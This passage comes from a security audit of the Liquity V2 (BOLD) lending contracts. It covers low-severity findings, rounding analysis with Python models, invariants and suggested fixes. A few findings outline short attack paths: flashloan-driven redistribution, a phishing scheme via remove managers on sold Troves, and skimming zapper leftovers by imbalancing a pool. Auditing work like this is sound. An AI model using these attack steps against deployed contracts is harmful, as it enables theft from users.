    _getLatestBatchData(_singleRedemption.batchAddress, _singleRedemption.batch);
    // We know boldLot <= trove entire debt, so this subtraction is safe
    uint256 newAmountForWeightedDebt = _singleRedemption.batch.entireDebtWithoutRedistribution
        + _singleRedemption.trove.redistBoldDebtGain - _singleRedemption.boldLot;
    _singleRedemption.oldWeightedRecordedDebt = _singleRedemption.batch.weightedRecordedDebt;
    _singleRedemption.newWeightedRecordedDebt =
        newAmountForWeightedDebt * _singleRedemption.batch.annualInterestRate;
```

Since the Batch already includes the Trove debt, it stands to reason that the `oldWeightedRecordedDebt` would simply be the `batch.entireDebtWithoutRedistribution` and the new `newWeightedRecordedDebt` would be the `batch.entireDebtWithoutRedistribution - (trove.entireDebt - trove.redistBoldDebtGain)` since the operation should result in a subtraction

However, because the math in question is used for absolute changes, no accounting bug is present

<https://github.com/liquity/bold/blob/6959eb503d12ad9b30bbdb787e220c1efbd5d761/contracts/src/ActivePool.sol#L296>



```

uint256 newAggBatchManagementFees = aggBatchManagementFees; // 1 SLOAD
newAggBatchManagementFees += calcPendingAggBatchManagementFee();
newAggBatchManagementFees -= _troveChange.batchAccruedManagementFee;
aggBatchManagementFees = newAggBatchManagementFees; // 1 SSTORE

// Do the arithmetic in 2 steps here to avoid overflow from the decrease
uint256 newAggWeightedBatchManagementFeeSum = aggWeightedBatchManagementFeeSum; // 1 SLOAD
newAggWeightedBatchManagementFeeSum += _troveChange.newWeightedRecordedBatchManagementFee;
newAggWeightedBatchManagementFeeSum -= _troveChange.oldWeightedRecordedBatchManagementFee;
aggWeightedBatchManagementFeeSum = newAggWeightedBatchManagementFeeSum; // 1 SSTORE

```

## Additional Instance

The same logic happens in `removeFromBatch`

<https://github.com/liquity/bold/blob/a34960222df5061fa7c0213df5d20626adf3ecc4/contracts/src/BorrowerOperations.sol#L1088>

```

TroveChange memory batchChange;
batchChange.appliedRedistBoldDebtGain = vars.trove.redistBoldDebtGain;
batchChange.appliedRedistCollGain = vars.trove.redistCollGain;
batchChange.batchAccruedManagementFee = vars.batch.accruedManagementFee;
batchChange.oldWeightedRecordedDebt = vars.batch.weightedRecordedDebt
    + (vars.trove.entireDebt - vars.trove.redistBoldDebtGain) * vars.batch.annualInterestRate;
batchChange.newWeightedRecordedDebt = vars.batch.entireDebtWithoutRedistribution *
vars.batch.annualInterestRate
    + vars.trove.entireDebt * _newAnnualInterestRate;

// Apply upfront fee on premature adjustments
if (
    vars.batch.annualInterestRate != _newAnnualInterestRate
    && block.timestamp < vars.trove.lastInterestRateAdjTime + INTEREST_RATE_ADJ_COOLDOWN
) {
    vars.trove.entireDebt =
        _applyUpfrontFee(vars.trove.entireColl, vars.trove.entireDebt, batchChange,
            _maxUpfrontFee);
}

// Recalculate newWeightedRecordedDebt, now taking into account the upfront fee
batchChange.newWeightedRecordedDebt = vars.batch.entireDebtWithoutRedistribution *
vars.batch.annualInterestRate
    + vars.trove.entireDebt * _newAnnualInterestRate;
// Add batch fees
batchChange.oldWeightedRecordedBatchManagementFee =
vars.batch.weightedRecordedBatchManagementFee
    + (vars.trove.entireDebt - batchChange.upfrontFee - vars.trove.redistBoldDebtGain)
        * vars.batch.annualManagementFee;
batchChange.newWeightedRecordedBatchManagementFee =
vars.batch.entireDebtWithoutRedistribution * vars.batch.annualManagementFee;

```

Technically speaking the `oldWeight` already includes the Trove And the `newWeight` needs to subtract it

These choices have no impact beside the fact that the relative ratio is incorrect

Because accounting is done in absolute units, the code looks safe

## Mitigation

I don't believe the code requires changes, but it's worth adding comments and documenting this decision

## Q-15 Liquidator may prefer Redistribution

---

### Impact

---

Liquity V2 introduces 2 different premiums for liquidators

Liquidations can be profitable or unprofitable both for SP stakers and for Redistributed Troves, profitability is not a factor, only the liquidity in the SP is

Assuming that  $\text{LIQUIDATION\_PENALTY\_SP} < \text{LIQUIDATION\_PENALTY\_REDISTRIBUTION}$

Then, for profitable liquidations, redistribution may be preferred

### POC

---

- Ensure the SP doesn't have sufficient Bold to perform the liquidation
- Flashloan a huge amount of Coll to raise the Trove Stake
- Perform the Liquidation

### Mitigation

---

I don't believe this to be an issue, however, you should expect that in general Liquidators will opt to cause a redistribution and the changes to V2 create scenarios that make a redistribution more profitable than using the Stability Pool

## Q-16 Urgent Redemptions Premium can worsen the ICR when Trove Coll Value < Debt Value \* .1

---

### Summary

---

The math for Redemptions is sound and generally speaking Liquidations are always more profitable hence preferred

It's worth noting that once the value of Debt is sufficiently high, redemptions can worsen the TCR

The following python scripts shows a scenario:

```
BOLD = 100
COLL = 100.9
PREMIUM_BPS = 100 ## 1%
MAX_BPS = 10_000

"""
Redeem 10
Gives 11

Bold = 90
Coll = 99

Redeem 10
Gives 11

Bold = 80
Coll = 88

Bold = 70
Coll = 77

"""

print("Initial CR", COLL / BOLD)

while(BOLD > 0):
    BOLD -= 10
    COLL -= (10 + 10 * PREMIUM_BPS / MAX_BPS)

    print("BOLD", BOLD)
    print("COLL", COLL)
    print("CR", COLL / BOLD)
```

```

Initial CR 1.0090000000000001
BOLD 90
COLL 90.800000000000001
CR 1.008888888888889
BOLD 80
COLL 80.700000000000002
CR 1.0087500000000003
BOLD 70
COLL 70.600000000000002
CR 1.008571428571429
BOLD 60
COLL 60.500000000000002
CR 1.008333333333337
BOLD 50
COLL 50.400000000000002
CR 1.0080000000000005
BOLD 40
COLL 40.300000000000002
CR 1.0075000000000005
BOLD 30
COLL 30.200000000000017
CR 1.0066666666666673
BOLD 20
COLL 20.100000000000016
CR 1.0050000000000008
BOLD 10
COLL 10.000000000000016
CR 1.0000000000000016
BOLD 0
COLL -0.09999999999998366
Traceback (most recent call last):
  File "/Users/entrepreneur/Desktop/Consulting/bold/premium.py", line 34, in <module>
    print("CR", COLL / BOLD)
    ~~~~~^~~~~~

```

In this instance COLL is less than 101 (1% premium), meaning that redemptions reduce the ICR of a Trove

This may be used to lock in a bit more bad debt

Liquidations already carry a collateral premium to the caller and to the liquidators

Redemptions at this CR may allow for a bit more bad debt to be redistributed which could cause a liquidation cascade, however the difference doesn't seem particularly meaningful when compared to how high the Liquidation Premium tends to be for liquidations

# Q-17 Mathematical Reasoning around Rounding Errors and their Impacts for Troves in Batches

---

## Impact

---

This finding summarizes my research on how Truncation could be abused, the goal is to define the mechanisms and quantify the impacts

## Minting of Batch Shares

Minting (and burning) of batch shares boils down to this line:

<https://github.com/liquity/bold/blob/a34960222df5061fa7c0213df5d20626adf3ecc4/contracts/src/TroveManager.sol#L1749>

```
batchDebtSharesDelta = currentBatchDebtShares * debtIncrease / _batchDebt;
```

The maximum error here is the ratio of Debt / Shares - 1 meaning that if we rebased the shares to have a 20 Debt per Shares ratio, we can cause at most a rounding that will cause a remainder of 19 debt

This has been explored further in #39 and #40

## Calculation of Trove Debt

Boils down to this line:

<https://github.com/liquity/bold/blob/a34960222df5061fa7c0213df5d20626adf3ecc4/contracts/src/TroveManager.sol#L933>

```
_latestTroveData.recordedDebt = _latestBatchData.recordedDebt * batchDebtShares / totalDebtShares;
```

The line is distributing the total debt over the total debt shares

The maximum error for this is the % of ownership of `batchDebtShares` over the `totalDebtShares`

Meaning that if we can have very little ownership, we can have a fairly big error

I can imagine the error being used to:

- Skip on paying borrow fees
- Skip on paying management fees

As those 2 operations increase the Debt/Shares

This Python script illustrates the impact

```

"""
    The code below demonstrates that:
    - Given a rebased share
    - The maximum amount of debt forgiven for a Trove will be roughly equal to the order of magnitude
      difference between the shares of the Trove and the Shares of the Batch

"""

## _latestTroveData.recordedDebt = _latestBatchData.recordedDebt * batchDebtShares / totalDebtShares;

## batchDebtSharesDelta = currentBatchDebtShares * debtIncrease / _batchDebt;

## Cannot generate a new share

def get_debt(total_debt, trove_shares, total_shares):
    return total_debt * trove_shares // total_shares

## It takes forever for this to work

def main():
    ## We need counter to reach 1e9
    GOAL = 10 ## 10 Million shares at a time

    TOTAL_DEBT = 20003008224108095508850000 * 10000 ## 200 BLN, prob max reasonable we can achieve
    TROVE_SHARES = 1 ## 10 e27
    TOTAL_SHARES = 1000150411205404775442000 * 10000

    INIITIAL_DEBT = get_debt(TOTAL_DEBT, TROVE_SHARES, TOTAL_SHARES)
    print("INIITIAL_DEBT", INIITIAL_DEBT/1e18)

    print("Percent ownership", TROVE_SHARES / TOTAL_SHARES * 100)
    print("Reverse Ratio", TOTAL_SHARES / TROVE_SHARES) ## This is the value we get by brute forcing
    ## This is the max amount that can be forgiven per open | close ratio

    ## 1e-10

    COUNTER = 0
    while (COUNTER < GOAL):
        COUNTER = loop(TOTAL_DEBT, TOTAL_SHARES, TROVE_SHARES)
        TOTAL_DEBT += COUNTER

def loop(TOTAL_DEBT, TOTAL_SHARES, TROVE_SHARES):
    COUNTER = 1

    CURRENT_DEBT = TOTAL_DEBT
    CURRENT_SHARES = TOTAL_SHARES
    MY_SHARES = TROVE_SHARES

    MY_DEBT = get_debt(CURRENT_DEBT, MY_SHARES, CURRENT_SHARES)

    while(True):
        COUNTER *= 10
        ## How do you know when it increases the share?
        CURRENT_DEBT += COUNTER

        NEW_DEBT = get_debt(CURRENT_DEBT, MY_SHARES, CURRENT_SHARES)
        if(NEW_DEBT != MY_DEBT):
            break

    print("COUNTER", COUNTER)

    TOTAL_DEBT += COUNTER

    return COUNTER

main()

```

In the >> absurd << scenario of having 1 wei against 200 BLN BOLD borrowed, with shares having a 20x Debt / Shares ratio The maximum loss is 10e27, meaning that up to 10e27 of interest would not be credited to this vault

# Q-18 Redemption Base Rate will grow slower than intended because `totalSupply` includes unredeemable debt

---

## Impact

---

The math in the Collateral Registry is ignoring:

- Underwater Troves
- Pending Fees
- Unredeemable Troves

Which are all increasing the value of `getEntireSystemDebt`, while not being redeemable

## Notes

---

The math seems to be correct when there are no underwater troves, however, when some Troves are underwater, the ratios of what will actually get redeemed vs what can be redeemed will be incorrect

This could possibly be very incorrect (and could be used to select which branch get's redeemed)

I don't think this will lead to severe vulnerabilities

That said it's worth considering if Redemptions should be done only if there are no liquidatable troves in the loop

I don't think this change would cause a risky DOS, but it may not be necessary due to the very low likelihood of the DOS happening

In conclusion:

- Redemption fee math and ratio is inaccurate due to underwater (unredeemable troves) as well as the known unbackedness manipulation

## Mitigation

---

1. Slightly tweak the unbackedness math to account for underwater Troves (or for riskier TCR, meaning a riskier Branch is redeemed first)
2. Revert if any trove is underwater during a redemption (force liquidations first)

This could also be acknowledged due to the impact and likelihood being very low

For a similar reasoning `_getUpdatedBaseRateFromRedemption` is slightly undercharging on the growth of the Redemption Fee, since it is ignoring the fact that some of the supply cannot be redeemed

Another part of the supply that is not redeemable is the component of `calcPendingAggInterest() + aggBatchManagementFees + calcPendingAggBatchManagementFee()` which is technically real debt, but it cannot be redeemed since the debt has yet to be assigned to the appropriate Troves

## Q-19 Lack of premium on redeeming higher interest troves can lead to all troves having the higher interest rate and still be redeemed – Cold Start Problem

---

### Impact

---

The following is a reasoned discussion around a possibly unsolved issue around CDP Design

In the context of Liquity V2, redemptions have the following aspect:

- Premium is paid to the owner that get's their troved redeemed
- Premium is dynamic like in V1, with the key difference being that Troves are now sorted by interest rate they pay

This creates a scenario, in the most extreme case, in which all Troves are paying the maximum borrow rate, but are still being redeemed against

### Intuition

---

Any time leveraging up costs more than the base redemption fee (brings the price below it), the Trove will get redeemed against

The logic for redeeming is the fee paid

If the fee paid is not influenced by the rate paid by borrowers, then fundamentally there are still scenarios in which redemptions will close Troves in the most extreme scenarios

### Mitigation

---

As discussed with the team, it may be necessary to charge a higher max borrow rate

Alternatively, redemptions should pay an additional premium to the Trove, based on the rate that is being paid by the borrower, the fundamental challenge with this is fairly pricing the rate of borrowing LUSD against the "defi risk free rate"



# Q-20 Reasoning around adding a deadline and absolute opening fee

---

## Executive Summary

---

A deadline can be used to ensure that prices and CRs are intended by the user

## Deadlines and Inclusion

---

This research piece discusses some ideas around transaction censoring and why it's not a valid concern wrt DeFi:

<https://gist.github.com/GalloDaSballo/03bd421ebbb01d402791d875a877f536>

Fundamentally censorship is -EV with exception of scenarios in which the censorship has real world effects (e.g. OFAC Sanctions)

From this we can infer that it's not realistic for a transaction to be omitted due to economic reasons that go past obtaining its fees

That's because other actors will simply broadcast it and there's no reliable way to ensure any specific validator will be able to validate all blocks within any reasonable amount of time

## Possible Impacts

---

The one possible impact, which would justify having a deadline is the risk that a Trove would open on a different Oracle Price

This, combined with the fact that fees are specified as an absolute value open up to the following scenario:

- A Trove can be opened with the Intended Collateral and Debt amounts, but a wildly different CR

The most salient part of this is the part tied to fees, where fees could initially (at time of tx signing) be a small part of the CR, they may end up, due to a price update, become a bigger part of the Debt for the Trove.

## Q-21 Add and Remove Managers may open up to phishing

---

### Impact

---

A Phishing scam can be performed on Troves by selling a trove and removing all collateral as the RemoveManager

<https://github.com/liquity/bold/blob/57c2f13fe78f914cab3d9736f73b4e0ffc58e022/contracts/src/Dependencies/L59>

```
function setAddManager(uint256 _troveId, address _manager) external {
    _requireCallerIsBorrower(_troveId);
    _setAddManager(_troveId, _manager);
}

function _setAddManager(uint256 _troveId, address _manager) internal {
    addManagerOf[_troveId] = _manager;
}

function setRemoveManager(uint256 _troveId, address _manager) external {
    setRemoveManagerWithReceiver(_troveId, _manager, troveNFT.ownerOf(_troveId));
}
```

I don't really like these type of findings, but it's worth noting that if someone were to sell their trove they can setup the following scam:

- Setup an order to sell the Trove
- Set themselves as the Token Manager and the Recipient
- Sell the Trove
- Empty the Trove

This can be avoided if any time the Trove is sold the fields are re-set, which could also be done by the NFT marketplace

So ultimately this is a phishing risk more so than a risk for the system

### Mitigation

---

This risk should be documented and end users should only purchase troves that have add and remove managers set to the address(0)

## Q-22 One Year is 365.25 days

---

<https://github.com/liquity/bold/blob/c84585881d8c6a5d11d38deee2943ba949a39962/contracts/src/Dependencies/L47>

```
uint256 constant ONE_YEAR = 365 days;
```

Can be changed to 365.25 to be more accurate with what a year is in solar terms

This can also be nofixed with the caveat that technically the system is slightly overcharging interest

## Q-23 `TroveNFT.tokenURI` `debt` and `coll` are static and will not reflect interest and redistributions

---

### Impact

---

`TroveNFT.tokenURI` is as follows:

<https://github.com/liquity/bold/blob/c84585881d8c6a5d11d38deee2943ba949a39962/contracts/src/TroveNFT.sol#L48>

```
function tokenURI(uint256 _tokenId) public view override(ERC721, IERC721Metadata) returns (string memory) {
    (uint256 debt, uint256 coll, ITroveManager.Status status,,, uint256 annualInterestRate,) =
        troveManager.Troves(_tokenId);

    IMetadataNFT.TroveData memory troveData = IMetadataNFT.TroveData({
        _tokenId: _tokenId,
        _owner: ownerOf(_tokenId),
        _collToken: address(collToken),
        _collAmount: coll,
        _debtAmount: debt,
        _interestRate: annualInterestRate,
        _status: status
    });

    return metadataNFT.uri(troveData);
}
```

Which is not using `getLatestTroveData`

This means that the data displayed in the NFT will not be updated until a Trove is accrued (via a user operation or a redemption)

Making the data slightly off in most cases, and possibly very off in cases of a redistribution

### Mitigation

---

Use `getLatestTroveData` in `tokenUri` or add this information as a notice to end users

## Q-24 Zappers would benefit by capping the amount of bold to repay to the current Trove debt amount

---

### Impact

---

`Zappers._adjustTrovePre` performs the following operation:

<https://github.com/liquidity/bold/blob/c84585881d8c6a5d11d38deee2943ba949a39962/contracts/src/Zappers/WE1L199>

```
if (!_isDebtIncrease) { /// @audit should be capped just like adjust
    boldToken.transferFrom(msg.sender, address(this), _boldChange);
}
```

This amount may be higher than the Trove Debt

Meaning the tokens will be stuck in the Zapper

### Mitigation

---

Cap the amount or sweep the `bold` remainder back to the `msg.sender`

## Q-25 User provided Zapper could be used to skim leftovers

---

### Impact

---

Both UniV3 and Curve Swappers look as follows:

<https://github.com/liquity/bold/blob/c84585881d8c6a5d11d38deee2943ba949a39962/contracts/src/Zappers/MockL83>

```
function swapFromBold(uint256 _boldAmount, uint256 _minCollAmount, address _zapper) external returns (uint256) {
    ICurvePool curvePoolCached = curvePool;
    IBoldToken boldTokenCached = boldToken;
    boldTokenCached.transferFrom(_zapper, address(this), _boldAmount);
    boldTokenCached.approve(address(curvePoolCached), _boldAmount);

    // TODO: make this work
    //return curvePoolCached.exchange(BOLD_TOKEN_INDEX, COLL_TOKEN_INDEX, _boldAmount,
    _minCollAmount, false, _zapper);
    uint256 output = curvePoolCached.exchange(BOLD_TOKEN_INDEX, COLL_TOKEN_INDEX, _boldAmount,
    _minCollAmount);
    collToken.safeTransfer(_zapper, output);

    return output;
}

function swapToBold(uint256 _collAmount, uint256 _minBoldAmount, address _zapper) external returns (uint256) {
    ICurvePool curvePoolCached = curvePool;
    IERC20 collTokenCached = collToken;
    collTokenCached.safeTransferFrom(_zapper, address(this), _collAmount);
    collTokenCached.approve(address(curvePoolCached), _collAmount);

    //return curvePoolCached.exchange(COLL_TOKEN_INDEX, BOLD_TOKEN_INDEX, _collAmount,
    _minBoldAmount, false, _zapper);
    uint256 output = curvePoolCached.exchange(COLL_TOKEN_INDEX, BOLD_TOKEN_INDEX, _collAmount,
    _minBoldAmount);
    boldToken.transfer(_zapper, output); /// @audit is `exchange` correct?

    return output;
}
```

They receive the zapper from which to swap from as a parameter

This can be used to sweep out leftover tokens via the following:

- Find a zapper that has allowance and a token amount
- Imbalance the underlying pool
- Perform a lossy swap

Which will be used to effectively sweep away any leftover funds from zappers

Overall the architecture is not as safe as enforcing the swap from the caller

### Mitigation

---

Replace the caller provided `_zapper` with `msg.sender`

## Q-26 `DefaultPool` Typo

---

### Impact

---

The coll is no longer `ether`

<https://github.com/liquity/bold/blob/e9cc36dc4a53eed2336113095eea93989cbdac3a/contracts/src/DefaultPoolL60>

```
/*
 * Returns the collBalance state variable.
 *
 * Not necessarily equal to the the contract's raw Coll balance – ether can be forcibly sent to
 contracts.
 */
function getCollBalance() external view override returns (uint256) {
    return collBalance;
}
```

## Q-27 `AddressRegistry` can benefit by having some small additional sanitization

---

### Impact

---

The `AddressRegistry` acts as configuration tool for the rest of the system

A few key variables are checked for absolute bounds, but there's no check for the relation between them

<https://github.com/liquity/bold/blob/e9cc36dc4a53eed2336113095eea93989cbdac3a/contracts/src/AddressesRegistry.sol#L88>

```
constructor(
    address _owner,
    uint256 _ccr,
    uint256 _mcr,
    uint256 _scr,
    uint256 _liquidationPenaltySP,
    uint256 _liquidationPenaltyRedistribution
) Ownable(_owner) {
    if (_ccr <= 1e18 || _ccr >= 2e18) revert InvalidCCR();
    if (_mcr <= 1e18 || _mcr >= 2e18) revert InvalidMCR();
    if (_scr <= 1e18 || _scr >= 2e18) revert InvalidSCR();
    if (_liquidationPenaltySP < 5e16) revert SPPenaltyTooLow();
    if (_liquidationPenaltySP > _liquidationPenaltyRedistribution) revert SPPenaltyGtRedist();
    if (_liquidationPenaltyRedistribution > 10e16) revert RedistPenaltyTooHigh();

    CCR = _ccr;
    SCR = _scr;
    MCR = _mcr;
    LIQUIDATION_PENALTY_SP = _liquidationPenaltySP;
    LIQUIDATION_PENALTY_REDISTRIBUTION = _liquidationPenaltyRedistribution;
}
```

This is a very simple fix that will improve readability and should also improve automated testing (as nonsensical configs will revert)

### Mitigation

---

Add explicit checks around `CCR > MCR > SCR`



## Q-28 Readme Typos / Small Fixes

---

### 75% as SP incentive

The code uses 72%

Code says 72%

<https://github.com/liquity/bold/blob/c84585881d8c6a5d11d38deee2943ba949a39962/README.md#L492>

```
- The pending aggregate interest is minted by the ActivePool as fresh BOLD. This is considered system "yield". A fixed part (75%) of it is immediately sent to the branch's SP and split proportionally between depositors, and the remainder is sent to a router to be used as LP incentives on DEXes (determined by governance).
```

### fn name has changeds

<https://github.com/liquity/bold/blob/c84585881d8c6a5d11d38deee2943ba949a39962/README.md#L316>

```
- `setRemoveManager(uint256 _troveId, address _manager, address _receiver)`: sets a "Remove" manager for the caller's chosen Trove, who has permission to remove collateral from and draw new BOLD from their Trove to the provided `_receiver` address.
```

<https://github.com/liquity/bold/blob/c84585881d8c6a5d11d38deee2943ba949a39962/contracts/src/Dependencies>

```
setRemoveManagerWithReceiver
```

### min, max

<https://github.com/liquity/bold/blob/c84585881d8c6a5d11d38deee2943ba949a39962/README.md#L318-L327>

```
- `setInterestIndividualDelegate(
    uint256 _troveId,
    address _delegate,
    uint128 _minInterestRate,
    uint128 _maxInterestRate,
    uint256 _newAnnualInterestRate,
    uint256 _upperHint,
    uint256 _lowerHint,
    uint256 _maxUpfrontFee
)`: the Trove owner sets an individual delegate who will have permission to update the interest rate for that Trove in range `[ _minInterestRate, _maxInterestRate]`
```

`applyBatchInterestAndFeePermissionless` is gone

### typo

<https://github.com/liquity/bold/blob/c84585881d8c6a5d11d38deee2943ba949a39962/README.md#L889>

```
`[ _minInterestRate, _minInterestRate]`
```

# Q-29 Invariants

---

## Executive Summary

---

This is a collection of invariants that I came up with while doing the manual review

## Sorting

---

A Trove is always added to the end of the batch in sorted troves

Troves are sorted by interest rate

Troves are sorted in this way

- The first trove has the highest interest rate
- The last trove has the lowest interest rate
- Whenever troves have the same rate, the sorting is determined by when the Trove was last reInserted, the older Trove should be closer to the first

## Troves

---

getLatestTroveData is exactly the value of a post accrual for a Trove

Min Debt and Min Coll values are enforced at all times

`getLatestTroveData` always returns the up-to-date, post-accrual debt and collateral value

Given any operation, check the before and after against `getLatestTroveData`

For all scenarios that do not trigger a fee, the debt and collaterals must match exactly

For all scenarios that trigger a fee, the debt and collaterals + the fee must match exactly

Excluding update/open Fee, a Trove delta debt is the `debtIncrease` - `debtDecrease`

## Coll Surplus Changes

---

Coll Surplus Balance can increase only after a liquidation

## Unsure

---

Troves with the same collateral have the same stake

This should break due to some logic tied to redistributions, as well as how `onAdjustTrove` vs `onAdjustTroveInterestRate` work

## Compounding

---

Total Debt == SUM(User Debt) + (1 \* Users)

Compounding debt should cause no issues

## CollSurplusPool

---

A owner with any surplus can always claim (never reverts), and receives exactly the amount they are owed

Total Coll > `getCollBalance`

SUM(getCollateral) == getCollBalance (ignoring donations)

## Default Pool

---

`sendCollToActivePool` never underflows

`decreaseBoldDebt` never underflows

getCollBalance should match TODO

## Accounting Invariants

---

NewAggWeightedDebtSum == aggRecordedDebt if all Troves have been synchronized this block

I think this will break due to redistribution rounding errors as well as other rounding errors (system rounding debt down) However, the property should hold if you add a range of 1 wei for each rounding event

## B4 After

---

For all operations the `weightedRecordedDebt` is equal to the sum of the new debt \* rate (including pending redistributions)

## Fee Math

---

Fee Math should be proven in 2 ways - Story based (open 2 Troves, with same aggregate rates, one with Batch, one Without, and compare them)

### By induction

The above demonstrates that the logic is the same

Via induction we can prove that each step in computing the fees is correct, which demonstrates that the math is correct

Napkin math: Fees = SUM(Fees(Debt)) New Debt = Sum(Debt, Fees(Debt), Redistributed) New Weight = Sum(Weight(Debt) + Weight(Fees) + Weight(Redistributed))

## Batches

---

A Batch share PPFS always increases, unless the total debt in the batch is reset to 0

When a batch has no more Troves, it's debt is 0

This should have issues due to the management fee account precision loss

Adding and removing a Trove from a Batch should never decrease the Trove debt

$\text{Batch Coll} == \text{Sum}(\text{Trove\_Coll} - \text{Redist Coll})$

Post Accrual,  $\text{Batch Coll} == \text{Sum}(\text{Trove\_Coll})$

A Closed Trove has Zero Batch Shares

## Operations

### Adding Collateral

When adding collateral, `batches[_batchAddress].debt` is monotonically increasing The increase of coll in the batch is equal to the coll deposited + the redist coll (if any)

## Redemptions

A redemption cannot turn a trove that has  $\geq \text{MIN\_DEBT}$  into a unredeemable trove

Redemptions ALWAYS raise the CR of a Trove, unless the Trove has a CR lower than the premium (urgent redemption) or the trove is underwater (normal redemptions)

## Active Pool

Doomsday Invariants - No Reverts due to overflow

Overflow in `mintAgg_____` could be catastrophic to the system

Invariant tests should be run to ensure this can never happen

## Stability Pool

Once a Trove has ``getCompoundedBoldDeposit` == 0` they no longer can increase their ``getDepositorYieldGain``

## G-01 `AddRemoveManagers.sol` – Can be refactored to not check for manager in happy path

---

### Impact

---

`_requireSenderIsOwnerOrRemoveManagerAndGetReceiver` is performing an SLOAD that is not necessary whenever the caller is the owner

```
function _requireSenderIsOwnerOrRemoveManagerAndGetReceiver(uint256 _troveId, address _owner)
    internal
    view
    returns (address)
{
    address manager = removeManagerReceiverOf[_troveId].manager;
    address receiver = removeManagerReceiverOf[_troveId].receiver;
    if (msg.sender != _owner && msg.sender != manager) {
        revert NotOwnerNorRemoveManager();
    }
    if (receiver == address(0)) {
        return _owner;
    }
    return receiver;
}
```

```
// Access control
if(msg.sender != owner) {
    address manager = removeManagerReceiverOf[_troveId].manager;
    if(msg.sender != manager) {
        revert NotOwnerNorRemoveManager();
    }
}

// Fetch receiver
address receiver = removeManagerReceiverOf[_troveId].receiver;

if (receiver == address(0)) {
    return _owner;
}

return receiver;
```

### Additional Services by Recon

---

Recon offers:

- Invariant Testing Audits – We'll write your invariant tests then perform an audit on.
- Cloud Fuzzing as a Service – The easiest way to run invariant tests in the cloud – Ask about Recon Pro.
- Audits – high quality audits performed by highly qualified reviewers that work with Alex personally.